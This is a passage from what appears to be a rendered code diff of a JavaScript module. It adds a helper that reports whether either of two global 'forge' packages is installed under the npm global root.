if (scriptRoot) roots.push(path.resolve(scriptRoot));
|
|
81
|
+
return [...new Set(roots)];
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/** True when either global package name is installed under `npm root -g`. */
|
|
85
|
+
export function anyGlobalForgePackageInstalled(npmSpawnSync) {
|
|
86
|
+
return Boolean(globalForgeJsRoot(npmSpawnSync) || globalLegacyForgeJsxRoot(npmSpawnSync));
|
|
87
|
+
}
|